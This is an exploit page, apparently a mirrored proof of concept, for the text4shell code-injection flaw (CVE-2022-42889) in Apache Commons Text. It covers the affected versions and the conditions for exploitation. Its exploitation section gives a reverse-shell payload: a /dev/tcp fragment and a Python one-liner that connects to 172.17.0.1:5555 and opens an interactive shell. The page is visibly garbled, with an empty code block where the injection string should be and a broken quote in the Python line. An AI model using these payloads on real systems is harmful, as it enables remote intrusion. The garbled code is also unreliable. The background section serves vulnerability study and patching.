Exploit for Code Injection in Apache Commons Text

## https://sploitus.com/exploit?id=F47672CC-E0D9-5475-A922-50E104099285
# CVE-2022-42889 aka text4shell

PoC for recently discovered [vulnerability](https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/) in Apache Commons Text by [@pwntester](https://github.com/pwntester):

As mentioned in https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/:
>The vulnerability exists in the StringSubstitutor interpolator object. An interpolator is created by the StringSubstitutor.createInterpolator() method and will allow for string lookups as defined in the StringLookupFactory. This can be used by passing a string “${prefix:name}” where the prefix is the aforementioned lookup. Using the “script”, “dns”, or “url” lookups would allow a crafted string to execute arbitrary scripts when passed to the interpolator object.

# Affected versions
The affected Apache Commons Text versions are 1.5 through 1.9.
It has been patched in version 1.10.

# Conditions to be exploited
- Run a version of Apache Commons Text from version 1.5 to 1.9
- Use the [StringSubstitutor](https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html) interpolator class

To be remotely exploited, attacker controlled input must be used as input for the StringSubstitutor interpolation. In particular, in `StringSubstitutor.replace()` or `StringSubstitutor.replaceIn()` methods

# Other javascript script engines
Since JDK 15 the Nashorn JavaScript Engine was removed: https://openjdk.org/jeps/372. 
But if third parties dependencies are included such as JEXL, RCE in Apache Commnos Text could happen (https://twitter.com/pwntester/status/1582321752566161409)

# Exploitation
## script interpolator
It can be exploited to gain RCE.

### JDK & /dev/tcp/172.17.0.1/5555 0>&1
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

![image](https://user-images.githubusercontent.com/17437230/197407317-5aedfd4b-c425-4a23-b65f-ebf039cce5a2.png)
![image](https://user-images.githubusercontent.com/17437230/197407480-beda6518-795d-4d15-8a33-655beb679ad2.png)


![image](https://user-images.githubusercontent.com/17437230/197407304-377295cf-8750-4a88-8b61-cd07ba3445bc.png)
![image](https://user-images.githubusercontent.com/17437230/197407333-dcae01ae-ac48-4eae-8d9c-be9a7a393970.png)



# References
- https://securitylab.github.com/advisories/GHSL-2022-018_Apache_Commons_Text/
- https://sysdig.com/blog/cve-2022-42889-text4shell/
- https://nakedsecurity.sophos.com/2022/10/18/dangerous-hole-in-apache-commons-text-like-log4shell-all-over-again/
- https://www.rapid7.com/blog/post/2022/10/17/cve-2022-42889-keep-calm-and-stop-saying-4shell/
- https://www.cyberkendra.com/2022/10/apache-commons-text-code-execution.html
- https://twitter.com/pwntester/status/1583189642471706624
- https://twitter.com/pyn3rd/status/1582729285005037568
- https://medium.com/@cxzero/text4shell-cve-2022-42889-brief-vulnerability-analysis-and-exploitation-fe13a0baadbb

# Credits to other PoCs
- https://github.com/SeanWrightSec/CVE-2022-42889-PoC/
- https://github.com/korteke/CVE-2022-42889-POC
- https://github.com/karthikuj/cve-2022-42889-text4shell-docker
- https://github.com/ClickCyber/cve-2022-42889/blob/main/CVE-2022-42889.php
- https://github.com/kljunowsky/CVE-2022-42889-text4shell
- https://github.com/securekomodo/text4shell-poc